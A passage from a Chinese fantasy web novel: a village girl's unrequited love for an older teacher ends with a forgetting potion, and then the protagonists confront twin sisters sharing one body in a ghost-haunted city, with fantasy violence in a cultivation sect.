林间的空气很清新,视野也很清明,绿得纯粹,白得纯洁,一切颜色都很干净。
与先生待在一起,白梨还颇有些紧张,只知道埋头走路,倒是先生一身轻松,时不时摸摸路边树上垂下来的枝叶,时不时问问白梨学习进度。
对方一问,白梨下意识挺直腰背,回道:
“阿桃交给我的字我已经记住了,先生,你给我的书,有两首诗我已经会了,其他的,还有很多字认不出。”
池润赞赏地点头:
“不用着急,这么短的时间你掌握了这么多字已经相当不错了,学习求稳不求快。”
白梨暗暗呼了口气,听对方又道:
“如果你下午有时间的话可以去学堂接你的弟弟妹妹,有什么不懂的刚好趁那段时间问我。”
“好。”
在太阳完全升到树顶前,两人终于走到集镇上,白梨本想让对方先去买自己需要的东西,自己卖出菜和布匹很费一番时间,倒没想到对方表示不建议,陪着她去卖。
等忙活完她的事已经过去了一个多时辰,两人赶着时间去买了文房四宝。
74. 我生君已老(2)
“那之后,无论多忙,我都会挤出时间去学堂,将积攒的问题告诉先生,他总是很有耐心地解答……
“我会认的字越来越多,会背的诗也越来越多,与先生越来越熟络……
“先生真的是一个很好的人,很博学,很温柔,很有耐心……
“他会教我作画,教我弹琴,教我作诗……这么好的人,我却很不该地起了些其他心思,我……”
“情之一事,如何能够控制?”江余客忍不住出声。
孟梨食与小魂同时看了他一眼,看得他缩缩脖子,又意识到什么,挺直腰背。
白梨诧异地看向他,旋即笑笑。
“然后呢?”孟梨食问,“你把那份感情说出来了吗?”
“说出来是需要很大勇气的,几乎是我所有的勇气……”白梨微低下头。
…………
中秋佳节,本以为先生回家过节,却没想到在白梨有意路过学堂时,看见了在院子里忙活的人。
因为不需上课,又是私人时间,对方没有束冠,只用一根深棕色的木簪将墨发束起,一些发丝披在身后。
白梨想起,先生从未说过他的家人,也不知他家住哪,是否离此很远。
就在她怔神之际,正搬椅子出来的池润注意到她,笑道:“咦,你怎么在这?是白石有什么东西落在学堂了吗?”
“没,没有。”白梨摇摇头,视线落在院中的桌上,以及桌上的笔墨纸砚。
“先生,你这是做什么?”
“中秋佳节,难得不上学,心血来潮,写幅字。”
“我……我帮先生磨墨!”
“嗯?你不回家陪家里人吗?”说着,池润已经将椅子搬过来。
“没事的,我出来前给他们说了。”白梨在心里吐了吐舌头,虽然说的是她有东西落在小姐妹家。
东西都已准备好,白梨熟练地磨好磨,余光却见先生又进入屋中。
是还有什么东西吗……她心里嘀咕。
不过一会,她看见对方快步走出,手里拿着一个很精致的盒子。
“来,中秋佳节不得吃月饼。”对方将那个盒子递出,白梨惊愕之中并没有接。
池润笑笑,将盒子放在桌上,将包装打开,余光见墨已经磨好,笑道:“让我想想写什么好。”
他侧头看向白梨,问:“还记得有什么关于中秋节的诗吗?”
“呃……明,明月几时有?把酒问青天?”白梨慌乱中只记得这句。
池润笑笑,“不错,记得很熟嘛,来,你先尝尝月饼,等我写完这句再尝尝。”
“哦,好。”
白梨视线微动,从对方手中的毛笔上划过,顺着对方浅灰色的衣袍来到对方专注的神色间,落在那双仿佛包含无尽心思的眼眸中。
很多沧桑,却又不少对生活的希望与热爱。
白梨微微晃着脑袋,看向桌边的木盒上,看见里面的几块月饼。
这么大个盒子,才装了五个月饼……白梨心中嘟囔,她应该带些月饼来的,她做的月饼可好吃了。
想着,她还是听先生说的拣起一块月饼,凑到嘴边轻轻咬了一口,思索着般尝着。
唔……感觉味道不错……
池润余光注意到对方动作,落下这两句词后,直起身搁下毛笔,随口问:“味道如何?”
“嗯,味道很不错!”白梨忙道。
池润沉声笑笑,似是无奈又似是宠溺,自己也拿了一块尝尝,却露出一种味同嚼蜡的神色。
吃了半块,他将月饼放下,对白梨道:“天色很晚了,早些回去吧,这月饼我吃不惯,你要是觉得不错就带回去吧。”
白梨突觉心中一阵苍凉,也许是起了风,而夜间的风总是有些凉意的。
视线不由落在对方被夜风吹拂起的发丝上,白梨突然觉得,先生将头发披下来很好看,那根深棕色的发簪显得先生太沉闷,要是配上亮色,应当会很不错。
思绪继续发散,她又想到上次去集市上卖布时,看见小摊上出的一个发饰,那是一个血红色的珊瑚珠,挂在发梢一定很好看。
“想什么呢?是怕走夜路吗?那我送你回去吧。”
白梨猛然回神,忙摇头:“不,不用麻烦先生你,我自己回去就好。”
“记得把这月饼带回去,反正我又不爱吃,带回去给你家人尝尝。”
白梨思绪被打断后,一下子没想起来自己还要说些什么,完全按照对方说的去办,抱着这盒月饼,在对方的视线中离开。
“我得把那个珊瑚珠买下来,”她对自己说,心中一阵激动,“买下来送给先生。”
她生怕那个珊瑚珠被人买了去,第二日便带着爹娘编织好的竹筐等去到镇上,而幸好,那颗珠子依旧被摆放在小摊上,与其他小物件一起,等待被选择。
回来时刚好遇见同村人,搭上了对方的牛车。
白梨捏了捏脚踝,来时走得太快,小腿和脚感觉有些酸痛,不过无所谓了。
她看着手里血红的珠子,在心中笑笑,想着先生戴上时的样子,肯定好看。
赶路靠牛车,她一下子没什么事做,便将藏在衣服里的一个本子抽出,正是先生刚来时送给她的那本诗集,先生亲手抄录的。
几个月过去,她会认的字更多了,这本书本来就比较薄,里面很多诗,就算有不会认的字,也被她忍不住地过了一遍。
她翻啊翻,将最末几首诗看了。
“君生我未生,我生君已老。”白梨在默读,心里突然一颤,连忙往后翻,却没看见新的内容,这本书就到这了。
感觉像没写完……白梨摩挲着书本封面,又琢磨这明显只有一半的诗句,心里不知为何有些闷。
下一句是什么呢?去问问先生吧。然后把这份礼物送给先生。
学堂后院,被先生打理得精致的小院中,躺椅上睡着个人。
今日天气不错,中午下了学,热闹的学堂一下子安静下来,任阳光斜斜落下。
池润眼睛微阖,几片阴影投在脸上,那阴影随着风来而轻微晃动。
窸窸窣窣的,他听见什么声音,虽是极轻微的,但对于此刻全身心放松沉静的他而言,依旧在瞬间分辨出。
拂来的风温柔,他懒洋洋的不想睁眼,听见那声响逐渐靠近自己。
应当是某个孩子……他猜测,然后,他感觉自己垂下的发丝被极轻地触碰。
没过几秒,声音远去了,他这才睁开眼,拂起自己的墨发,看见发梢处坠着个鲜红明亮的珠子。
白梨满心欢喜地回家,走到一半时才突然想起,她还没有问先生那首诗的后半句是什么。
她懊恼地顿下脚步,可现在这情况她有些不好意思再回去,只得将此事搁置。
先生只有在私人时间才会披下头发,平日都是将墨发一丝不苟束冠,白梨心里暗暗琢磨着,要找个时间看看先生在发现珊瑚珠后会不会还戴着。
农忙时节,学堂会相应地减少课程,这段时间先生私人时间变多了,奈何白梨忙碌的事情也多,一下子没有时间去看先生。
等农忙暂告一段落,白梨才有时间去学堂看看,去的时候刚好看见先生穿着一身淡青色衣裳,发丝垂在身后。
她压着激动的心去看,却没看见对方发梢处那抹红色。
“先生……”<
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正读书的池润闻声看过来,笑笑道:“今日不忙了吗?”
白梨抿着唇,点了点头,想问些什么却不知如何开口。
“那珊瑚珠发坠是你送我的吗?”对方笑语盈盈地问,眼里满是温柔。
“是啊,先生不喜欢吗?”
“喜欢,只是颜色太艳了,先生年纪大了,戴不了这种年轻人的东西。”池润感叹般地说道。
“先生年纪才不大!”白梨急于反驳。
池润看了她一眼,笑了笑,不说话。
白梨坐在对方身旁,鼓起勇气问:“先生,你……你家人……”
“家中无人,只有一个侄儿。”
无人,那意思是尚未婚配?
先生这么好的人竟还未婚配?
白梨的心颤抖起来,“那……先生……”
池润突然拢了拢头发,对白梨说:“你看。”
他将发根展露出来,里面藏着根根银丝。
白梨顿时说不出话来,她知道对方明白了自己的心意。
“先生,我不在乎……”
“可先生在乎啊。”池润扯出一抹苍凉又无奈的笑容。
他开始反思自己,是自己什么行为让对方产生了这种感情,无论是对于一位先生,还是对于一位年纪颇大的男人,这都是不应该的,这都是自己的错。
斟酌着,他开口道:“新的教书先生过些日子就要来了。”
“你要走吗?”白梨噌的一声站起身,全身控制不住地颤抖着,“是……是因为我吗?”
“不。”池润忙否定,叹了口气道:“是我那唯一的侄儿生了病……”
他垂下眼睛,失神地望着地面……他那唯一的侄儿……
不知过了多久,始终没听见对方回复的池润抬起头,扯出一抹平日常见的微笑:
“要是有什么问题可得赶紧问我了,但新来的先生比我更加博学……”
他说着,想到什么,问:“我记得白桃说你有一首诗不理解,是缺了一半还是什么,需要……”
“不用了。”白梨出声打断,在对方惊诧的目光中道:“我已经悟出来了。”
池润笑笑:“你在学习上是很有天赋的,也比一般人刻苦,日后也莫要松懈。”
长久的沉默后,白梨与对方告辞,而回到家中,还未从那些话中回过神的她,竟然听见娘为她应下一门亲事。
算来,她也有十八了,确实到了该嫁人的年纪,只是……
“娘真是大嘴巴,”白桃悄悄在白梨耳边抱怨,“今日早有人上门提亲,娘答应后到处说,这事真就这么定下来了。”
见对方怔愣,白桃忙安慰道:“阿姐,别担心,那个人我偷偷去打听了,长得好看,又有学识,是个温厚人……”
“明日我便成婚了,今日试衣裳时突然收到一份贺礼,里面是一对珊瑚珠耳坠,于是我跑来看他的最后一面,却只看到一个背影……”
白梨沉重地呼了口气。
“没想到竟是因为年纪。”孟梨食摸着下巴,神色中透出些惊愕。
“那现在,你要喝忘情水忘掉他吗?”
“当然,没有结果的感情留在心中,是对我另一半的不尊重,也是对自己的一种折磨。”白梨道。
“会如他所希望的那样,日后听见他的名字,我想起的只是个博学又温柔的教书先生。”
孟梨食幻出忘情水,接过对方身上所携钱物的一半。
白梨含着泪将水饮尽,脑子里最后浮现的,是那首诗——
君生我未生,我生君已老。
也许下一句可以是,寄愿于下世,发尾系红珠。
75. 神笔
路上,江余客忍不住开口:“梨食,你年纪多少?”
孟梨食嗯哼一声,用余光看了他一眼,耸肩道:“几百岁吧。”
江余客轻轻啊了一声:“我才二十一……”
“怎么,嫌弃我老牛吃嫩草?”孟梨食脚步一顿,突然转身逼至对方眼前。
江余客浑身一僵,忙道:“没,没有,绝对没有,你什么样子我都喜欢!”
孟梨食又是嗯哼一声,语调轻快,转身继续赶路。
江余客跟上她脚步,犹豫着问:“如果有一天,我变老变丑了,你还……”
他还没说完,肩膀挨了一拳,孟梨食无奈又有些生气道:“我是那种人吗?”
这时小魂飘过来,安慰江余客道:“放心吧,孟梨食是那种就算你化成白骨,她也会抱着你睡的人。”
“去去去,胡说什么,一边去。”孟梨食赶蚊子似的将小魂赶走。
江余客听了小魂的话,心中却是有些堵塞,这样的话,他倒是希望对方性情凉薄,感情淡漠一些好。
几人打打闹闹地继续赶路,身上不挂有什么琐事,一路轻松。
时间也过去飞快,他们走得慢,三个月后才到达下一城镇。
不过,几人看着空中的灰雾,捕捉着阴冷风中的细密哭喊,同时顿住脚。
“呵,这可有意思了。”孟梨食扯着笑道。
“莫不是邪祟?”小魂猜测道,“最近几年咱们遇见的还不少吗?”
城前有一座小镇,其笼罩的灰棕色雾气显然要淡薄一些,而且也能明显看出有人生活的痕迹。
就算是邪祟也没什么,世间可没有什么能让孟梨食害怕的东西,她左右看了一眼,直接抬脚进入镇中。
刚踏入这块地界,便觉四周温度骤降,无形的阴风不知从何处吹来,吹得人鸡皮疙瘩直冒头。
街道上飘着淡淡的深色的雾,两旁的店铺大多关门,只有几个还开着,不时有人进出。
孟梨食正打量着,猝不及防看见一个店铺内跑出一个人,与对方下意识投来的视线对上。
那人看着不过二十来岁,衣衫整洁,身体虽然瘦弱,但眼睛还算有神。
对方看着这几个外乡人,犹豫两秒,走过来道:“你们是要进万方城吗?”
万方城?孟梨食思索两秒,应当就是前面那座城了,于是点头。
“那我劝你们赶紧离开,那座城里有不好的东西。”对方神情严肃。
“什么不好的东西?”孟梨食顺着问。
对方摇头道:
“不知道具体是什么,但那整座城的人都死了,就连周边的夺魂门都受到重创,赶去寻找外援,估计再过个几日就可将城里的邪祟清除。”
孟梨食恍然点头,视线落在对方抱着的画卷上,问:“这是做什么?”
她不觉得一个快要存活不下去的人还会有心情赏画作画。
“哦这个。”对方没有丝毫见外地将画卷打开,一幅逼真的人像缓缓展露在众人眼前。
那是一个看起来四五十岁的男子,脸上布满沧桑,眉头深黑,双眼略有些浑浊。
他解释道:“你们也看见了,城镇中多有人丧命,活下来的人也活得痛苦,我就尽自己所能把逝者画下来给他们当个纪念。”
他叹息着,见他们都看过了,才将画卷重新卷起。
“此地伤心人岂不是很多?”
“肯定啊。”对方道。
对方说城中危险,那孟梨食偏要去看看,不过在此之前,她可以随着对方在镇中转转,顺便再卖出几碗忘情水。
同时,她又想到另一件事,那就是神笔。
神笔放在她这用处不大,若是给对方,也许能发挥出它更大的,出人意料的作用。
“我叫孟梨食,不知道你叫什么?”
“孟淳。”虽不知对方问自己名字作甚,但他还是下意识回答。
“实不相瞒,我们几个就是除妖师,专门降这种邪祟的。”孟梨食脸不红心不跳地鬼扯。
“在正式进入那座城之前,我们准备在这个镇里寻找些线索,可否让我们跟着你。”
孟淳听得一愣一愣的,但视线落在小魂身上,又落在江余客腰间那把透着苍凉的剑上,他点点头:“可以。”
“我正好要将这幅画送给逝者家人。”孟淳边示意几人往这边走,边说明情况:
“他是个工匠,在城里经营一家铺子,有这门营生,他家本来生活得很好,没想到城中突然出现邪祟,他死了。”
孟淳的话截然而止,镇里的安静迅速涌来。
“我可以低价卖给伤心人忘情水。”沉默两秒,孟梨食开口道,“那是可以让人忘记痛苦的东西。
“但……也会忘记那个人。”
“这没必要。”孟淳摇头,“也许遗忘更加痛苦。”
几人跟在孟淳身后,很快来到一座木屋前。
孟淳推门进去,孟梨食想了想,似乎在思索对方刚才说的话,留在了门外。
很快,她听见里面传来细密的哭声,她想,大多数时候,遗忘是很难的。
遗忘并不一定代表着解脱,反而可能坠入另一种痛苦深渊。
“不进去吗?”小魂困惑地看向她,从她沉思般的神态中琢磨出什么。
“算了,”孟梨食抬起头,看向万方城的方向,那里灰雾弥漫,鬼气肆虐,“咱们得快些去看看那座城里发生了什么,也许,我的生意在那里。”
江余客微皱眉头,“如果轩辕剑还在,应该很容易破开这些鬼气。”
他摸着腰间的无寞剑,暂时还不知道它有什么功能,或者说,自己能发挥出什么效果。
这时,孟淳神色低落地出来,看着三人:“你们有发现什么线索吗?”
“还是得进城瞧瞧。”
“一定要小心。”孟淳不知道面前几人的实力,担忧道,“或者再过些日子,等夺魂门请来援军再一起进去。”
“呵,不必了。”孟梨食记得,夺魂门可不是什么正派宗门。
“对了。”孟梨食反手变出一根毛笔,将其扔进对方怀里,“这个给你。”
“毛笔?”
“是神笔。”孟梨食未多说,其中的神秘需要对方自己去摸索。
告别对方,几人径直走向被鬼气或者其他什么气息笼罩的万方城。
路上,小魂忍不住道:“会将他吓一大跳吧。”
“嗯……
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应该会。”孟梨食微微挪开视线。
但更让小魂在意的是另一件事,“这么一件神器,你就这么给他了?”
它心说,这可不像你抠抠搜搜,见钱眼开的样子。
“它最终会去到一个地方。”不知为何,孟梨食这么觉得。
“什么地方?”小魂跟着问。
孟梨食耸耸肩,“不知道。”
小魂撇嘴道:“这话跟没说一样。”
很快,几人走到万方城城门前,意料之中的,城门大开。
视线穿透过去,几团更加深灰的雾气在空中逃散般飘过,发出刺耳尖叫。
“你亲戚。”孟梨食朝小魂开了句玩笑。
“什么!你家亲戚才是!”小魂抱着臂。
“是鬼气。”江余客出声打断两人的争吵。
他感受到什么,神情一动,循着感觉摸到腰间的无寞剑上。
他将剑抽了出来,几个本来想要逼近的鬼魂连忙逃窜开,发出惊恐喊叫。
“哇哦,孟婆给的剑果然不一般啊。”小魂惊叹地飘过来。
孟梨食瞄了一眼,不知想些什么,扭过头道:“走吧,城中鬼气更浓。”
“等等,我试一下。”
江余客有些兴奋地举起剑,瞬间,剑身颤抖,爆发出一股强劲的吸力,周围的灰雾以肉眼可见的速度被吸入,形成一道旋涡,就连在往外逃窜的鬼魂也难以避免。
江余客眼中刚闪过惊喜,旋即发现不对劲,手中剑身震颤得更加厉害,那股吸力也更强,他逐渐有些招架不住。
“诶诶!”
“诶啥呀!”孟梨食一把握住剑柄,向后一拉,剑身震颤得更加厉害,反而带着两人往前扑去。
“诶,这剑,我就不信了。”
孟梨食来了脾气,空着的左手快速捏诀,几根红线涌出,将剑身环住,却被剑周围吸入的雾气阻隔,无法完全束缚。
她咬牙使劲,正要再次捏诀,剑身力气猛然增大,带着两人飞到空中。
江余客及时脱手,将孟梨食抱住稳稳落地。
“这什么破剑!”孟梨食大骂,双手快速捏诀,身后数根因果绳浮现,如电如蛇,迅速逼近无寞剑旁。
砰——
剑身剧烈颤抖,将因果绳破开,自身飞高飞向远方,最终停在万方城中央,继续吸收整座城的鬼气。
几人身旁的灰雾如云海般翻涌着,阴风从四面八方刮向中央,令人胆寒的气息迅速凝聚。
砰!
空中一声金属锐响,立在城中高处的无寞剑被一股力打落,猛地钉入石板地面,发出悠长颤鸣。
而在空中,一道灰雾渐渐凝出人形,一位女子浮现在众人视野内。
她握着左手,神色痛苦,刚才打断无寞剑的一击也让她受了不小的伤,不由得警惕起闯入此地的几个陌生人。
“何人?”对方厉声质问,身后雾气翻涌,无数鬼魂环绕身旁,做好了攻击的准备。
孟梨食望着对方,嘀咕道:“鬼修?”
江余客右手一伸,不远处插在地上的剑发出一声嗡鸣,嗖的一声回到他手中。
“要打起来了!”小魂无声尖叫,四处寻找躲避的位置。
76. 双生姐妹(1)
万鬼肆虐,无数幽魂从虚空中破开,尖啸着冲向江余客。
后者早有预料,抬剑劈斩,鬼魂犹如实质般被无寞剑破开,在下一秒化作零星灰点散去。
江余客长剑劈出,一道泛着寒光的剑刃夹着破音逼至空中的鬼魂前——
当!
鬼魂双手格挡,胸前凝出一道结界,两股力量撞击着,气波将她墨色的发丝吹起,眼底的血红毫无掩藏。
“你不去帮忙啊?”小魂担忧地看向那边,又看向一脸沉思的孟梨食。
“别打扰我,我在找破绽。”
对方杀害了整座城的人,将其灵魂收集,难道想炼万魂幡?
对方的招式看起来确实像这一脉的功法,只是……
她看了眼不远处打斗的场景,很明显,孟婆给的无寞剑不是一般的法器,刚好克制鬼魂,对方逐渐处于下风,都这个时候了都没祭出魂幡,应该不是走的这条路。
那对方收集这么多魂体做什么?
她隐约记得,有个功法叫……对,叫万魂炼体!
不对,对方并不是鬼魂,是人,她不需要炼体,那,她是为了某个人!
世间万物必有因果,所做必有所因,所做必造其果!
孟梨食眼神一寒,右手捏诀,一根鲜红的红线从女人腹部钻出,紧接着,又钻入体内。
“原来是这样……”
“到底啥样啊?”小魂急的不行。
“小魂,你飞过去,把你那个什么粉末撒向那个女人,让她冷静下来,我要和她体内另一个魂体对话。”
“啊?另一个魂体?”
话音刚落,数道散发黑雾的毒刺如雨降落,孟梨食余光一瞥,身形疾闪,险险避过。
嗖嗖嗖——
毒刺刺入地面,瞬间化作一滩发黑的水,诡异的手从水面钻出。
“打这么猛?”孟梨食感叹一声,只见江余客不知何时跃上了房顶,开始近身战。
孟梨食一边躲避着攻击,一边寻找机会让小魂靠近对方,思来想去,干脆召出无数红线将其包裹,直接将它投了出去。
砰!
红线在与鬼雾撞击中发出刺啦声响,最终在逼近女人前被对方一掌破开。
红线四散,迅速消散,里面的小魂逮住机会,将早已准备好的各种粉末撒向对方。
砰!
刚撒出粉末的小魂被对方一掌拍向地面,被孟梨食召出红绳接住。
女人正要继续发力,身形忽然晃了晃,江余客逮住机会,一剑刺中对方,旋即一脚踹出——
砰的剧烈一响,女人狠狠撞进地面,烟尘四起。
“好了好了。”孟梨食抬手制止跑上来补刀的江余客,“我有事问她。”
说着,她看了小魂一眼,后者从乾坤袋中翻找出另一个偏白色的瓶子,将里面的粉末撒在女人身上。
星星点点的光粉在触碰对方后迅速消失。
过了一会,女人缓缓睁开眼。
江余客警惕地握紧剑,身子微躬。
孟梨食抬手按住他右手,问:“你是谁?”
“我叫……小雪。”
此时,对方展现的神情怯懦、温驯,完全不像之前那样眼神凌厉。
孟梨食跟着问:“这句身体是谁的?和你什么关系?”
“是我姐姐的……你们不要伤害我姐姐!”女人浑浊迷茫的眼神突然清醒过来,一把抓住最近的孟梨食。
“我姐姐都是因为我才变成这样的,我可以劝她,我可以替她赎罪,求你们不要伤害她!”
伤心人啊,伤心故事……
“我是个卖水人,专卖忘情水,一碗解忧又忘愁,可以让你姐姐遗忘对你的痛苦,和你,要不要?”
“要,我只要姐姐好好活下去就够了。”
“那好,你先告诉我你和你姐姐是什么情况。”
说着,孟梨食看向小魂:“这药效够吧。”
小魂挠挠脸颊:“应该……够吧。”
孟梨食重新看向面前的人,透过这具□□,看见其中的两具魂体,其中一具被黑雾遮掩,血腥气太重,而另一具太过薄弱,即使有黑雾不断塑形,也在快速消散着。
“我叫新雪,谢新雪,我姐姐叫谢既白,我们是亲姐妹,从小生活在谢府中,小时候的日子很快乐很富足。
“我……我和姐姐有一个奇特的能力……”
多年前,谢府还是城中的大家,府中生有一对双胞胎,长得精致可人。
五六岁大的姐姐谢既白很是懂事听话,从小喜爱古籍,妹妹谢新雪就显得贪玩,性子相比于姐姐也要懦弱一些。
“这里好多蝴蝶,我想抓一个给姐姐!”谢新雪小手握着一把云团扇,仰着小脸对身后的婢女说。
“大小姐一定会高兴的。”
而书房内的谢既白,读着满篇文字的古籍,微皱的眉头忽然松开,嘴角忍不住翘起。
一只淡蓝色的蝴蝶停在一簇蔷薇上,翅膀微微颤动,风来时,花枝轻晃,它也跟着轻轻起伏。
一把小巧精致的团扇停在蝴蝶上空,接着,忽然落下。
蝴蝶轻颤一瞬,瞬间张开翅膀飞开,留下一道淡淡的痕迹。
扑通——
谢新雪太过用力,扑了个空,整个人往前摔去。
谢既白膝盖陡然一痛,连忙站起身,朝外面跑去。
远远地,她便听见自己妹妹压抑的细碎哭声。
“这是怎么回事?”她从花丛中跑出来,看着跌坐在地上掉眼泪的谢新雪。
“姐姐……”
“大小姐恕罪!是奴婢没有照看好小姐。”一旁的婢女惊恐地跪下,头落得极低。
“不是……”谢新雪看看婢女,又看向姐姐,朝她伸出手道:“是我自己跑太快了。”
谢既白拧着眉将对方扶起,朝一旁还在跪着的婢女道:“还不去叫大夫来。”
“是,是。”
“痛吗?”谢既白看向对方磕破的衣裙下摆,看不见里面的伤口,但她能感受到疼痛。
“姐姐不生气我就不痛了。”谢新雪笑道。
…………
“所以,你们能通感?包括情绪?”孟梨食微微有些惊讶。
“是。”谢新雪用着谢既白的身体回答。
“本来,我以为这样的快乐生活能一直持续下去,没想到十年后,谢府遭遇灭顶之灾。
“周边的夺魂门迅速崛起,将整个万方城纳入麾下。夺魂门毕竟是邪门,大多数人是不愿意的,比如谢府,还有群人见势奉承夺魂门,在城中势力越发的大,比如赵家。”
她右手紧紧握起,又是愤懑又是不甘道:
“赵家看不惯谢府多年,趁此机会,一举将谢府吞并,我被掳去赵家,成为赵家老爷的一名小妾……
“而姐姐,因为反抗,被抓去夺魂门抽魂……”
两人被迫分开,皆受尽了委屈。
对方正欲继续说,突然捂住脑袋,整个身子紧紧蜷缩起来,神色痛苦道:“唔……头好痛,我,我想不起来了……”
她的眼眸一会闪过黑色,一会闪过血红,神色一会茫然一会憎恶。
小魂将手探进乾坤袋,预备将最后一点宁静粉末倒出,这时,孟梨食抬手制止:
“让姐姐来说吧。”
她面前,谢既白放下捂着脸颊的手,露出其后一双沾染血红的眸子,笑道:
“好手段,竟然发现了她的存在。”
“你也看得出,我们
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对你们并无恶意,我就想做个生意。”孟梨食摊手道,心里悄悄道,当然,就算她不出手也会有人来清理你们。
“呵!”谢既白将右手臂搭在曲起的右膝盖上,“生意我听见了,我确实想让新雪忘记这一切。”
她已经做出尝试,让谢新雪忘记那段在赵府的痛苦记忆,只是效果不太理想。
孟梨食:“可是喝了我这水,她连你都会忘记。”
谢既白动作一滞,微扭过头道:“也行。”
她刚说完,神色突然扭曲,像有什么东西要冲出来,额角爆出青筋,黑色烟雾从皮肤下渗出。
“你这具身体也坚持不了多久了。”孟梨食道。
谢既白没理她,轻声安抚道:“小雪,乖。”
等对方安稳下来,孟梨食问:“之后发生了什么?”
“……新雪被抓去赵府,成为那个王八蛋的小妾,受尽折磨!”她胸口剧烈起伏着,拳头紧紧握起。
“而我,被带去夺魂门,作为新入门弟子的炼魂材料。”
每个新入门弟子分得三个炼魂材料,各自有自己的练功山洞。
新既白睁开眼,看见的是阴暗的洞穴,以及盘腿坐在不远处往一个深紫色容器内加东西的人。
在她身旁,还躺有两个人,只是还陷入昏迷中没有醒来。
她正想悄悄爬起身,余光见坐着的人动了,连忙假装昏迷。
眼睛悄悄睁开一条细缝,她看见对方只是抬起左手,自己身旁昏迷的人便浮在空中,飘到对方身旁。
接着,对方抬起握有黑色棍状物的右手,霎时间,洞穴内阴风肆虐,以男人为中心,暗雾涌动。
一道极致痛苦的喊叫从昏迷的人嘴里传出,谢既白眼睁睁看见一道偏蓝色的魂体被生生剥离出来。
砰!
失去魂体的尸体被男人随意地扔在一旁,右手一转,将魂体投入面前的容器中。
谢既白一阵心惊,思绪快速旋转,她不能死在这里,她还不知道妹妹怎么样了,绝对不能死在这里。
在这紧急之中,她余光看见男人身后,那里堆着各种瓶瓶罐罐,不知里面具体装有什么,但想来也不会是什么好东西。
她悄悄挪动身体,抓住一个球形的琉璃罐,里面有流动的深绿色的液体,仔细听还能听见刺啦声。
很快,另一个人被抽了魂,马上轮到她了。
她闭着眼,感觉身体飘去,离一个阴寒的来源越来越近,就在这时,她猛地睁开眼,一把甩出手里的罐子。
砰!
咔擦!
罐子被准确砸在男人眉心,瞬间碎裂开来,里面深绿色的液体如有生命般朝着四周流淌,钻进了男人的眼中与鼻孔内。
“啊啊啊!”
男人惊恐起身,捂着脸颊痛呼。
谢既白瞅准机会,一把夺过他扔出的深色长棍,可她没有灵力,无法发挥出任何效果。
她握紧长棍,对准男人的脑袋,使出奋力一击,爆头!
“呼呼——”
谢既白胸口剧烈起伏,全身冒着冷汗,望着眼前脑浆流出的景象,她忍着恶心,去翻对方身上的东西。
作为新入门的弟子,对方身上携带的东西少得可怜,只有几块灵石和一本并不完全的功法。
新入门弟子,连统一服饰都没有,谢既白渐渐有了个想法。
她按照这本功法快速修炼,不求突破,只要能控制些灵力就好。
一天后,她总算初步掌握,当即将男人的魂体抽出扔进容器内,
容器内咕噜噜冒着黑色气泡,突然剧烈震动起来,接着,砰的一声,一块染着乌黑血液的布飞出,与谢既白手中的长棍融在一起。
同时,身后的石门打开了。
77. 双生姐妹(2)
同时出来的还有其他几人,最前面的老者仿佛等待他们许久,道:“过了此关,你们也算是真正成为我夺魂门的弟子了,至于其他的……”
他眼神一寒,还未打开的石门内突然爆发出炸响,整座山头都在颤抖,碎石夹着巨响飞出。
谢既白暗暗松了口气,却突然,她胳膊一痛,那是来自皮肤之下,骨髓之外的疼痛,她知道,她妹妹正在被人欺负。
握着魂幡的手更加捏紧,可是,她现在连对方在哪都不知道,她得忍下来。
她将所有时间花在了修炼上,哪怕全神贯注,也时不时会感觉难过,眼泪不受控制地流下来,她知道妹妹在受委屈。
她捂着胸口,将自己的感受传递给对方,告诉对方不要怕,自己马上就会来救他。
她更加刻苦地修炼,但这样依旧不够,她没测过天资,但想来并不怎么好,修炼一途上她走得实在是磕绊。
直到一个晚上,刚从弟子闭关洞内出来的她被一个男人拦住。
谢既白知道对方,对方看她的眼神实在猥琐,让她直犯恶心。
“师妹,师兄发现个修炼的好地方,要不要和师兄去看看,保准让你修炼事半功倍哦。”
谢既白忍着恶心问:“不知是什么地方,师兄如何发现的。”
“嘿嘿,你去看看不就知道了。”对方看向她的眼神格外露骨,带着不怀好意的笑意。
谢既白握紧拳头,心里有了想法,答应道:“好啊。”
对方一愣,显然没料到对方答应得这么爽快,自己准备的控制尸体的药剂看来也用不上了。
对方说的地方就在后山,不过与平日走的路不同。
谢既白暗暗记住路径,脚步一顿,看见前面带路的人停了下来。
她嘴角微勾,在对方傻笑着转过身的同时,一道暗刃刺出——
当——
对方及时躲过,鼻尖冒出虚汗,旋即愤怒道:“你个贱人,你这是做什么?”
“呵!和你玩个游戏。”
言罢,谢既白未给对方反应的机会,两道黑刃刺出,一道要快一秒,直逼对方眉心。
对方连忙躲闪,却不料噗呲一声,他的右手飞了出去,同时,握着右手的魂幡也飞了出去。
对方暗道不好,就要用左手去捡魂幡,接过刚伸出手,几道毒刺飞出,吓得他连忙缩回手。
趁此机会,谢既白快速将对方武器捡起,直到这时,对方才真正意识到什么,吓得往后直缩,用着颤音道:
“师妹,你……你这是做什么?”
谢既白没有言语,一击将对方命中,将其魂体抽出。
“你个贱人!你敢杀害同门,你就不怕师父……”发黑的魂体扭曲着脱离身体,不甘地谩骂着。
谢既白右手一甩,一道暗色长鞭甩在对方脸上,那是直接作用于魂体的痛苦。
“你是如何发现这里的?”谢既白沉声问。
被打了一鞭的对方要老实许多,捂着左脸道:
“我……我也是悄悄跟着二长老,才发现这里的……师妹,你放了我吧,我再也不敢了,以后你让我做什么我……”
对方还未说完,谢既白一抬手,将对方魂体扔进自己的魂幡中,顿时,她卡了许久的修炼瓶颈被破除。
她眼神微微眯起,原来是这样……
她左右手各拿着一个魂幡,打量周围环境,对方处于魂体状体,又被我威慑着,不可能撒谎,那么……
这里藏有二长老的秘密!
她微闭上眼睛,捕捉环境中不同的气息,但显然,那位长老设下禁制,外人无法探查。
这该如何……她暗道棘手,手指突然一烫,险些将手里的魂幡扔出去。
她忍住这种痛苦,凝神去看,却见手指并无异样,但那股疼痛还在她精神里环绕,就像有人故意将滚烫的水倒在手指上一样。
她猛地一怔,小雪!
赵府。
“大晚上闲逛什么呢,有没有点规矩!”赵府正妻厉声呵斥,居高临下地看着伏跪的人。
谢新雪全身颤抖地趴在地上,哆嗦着道:“姐姐恕罪。”
“你是不是觉得仗着自己有几分姿色,得几分老爷宠爱,便能无法无天了。”正妻微弓下身,一手捏住了对方的下巴。
她指尖暗暗发力,欣赏对方的痛苦神色。
“没、没有……”
谢新雪口齿不清地否认。
“呵!”正妻重重甩开手,接过身旁婢女递来的手帕,闲散地擦着。
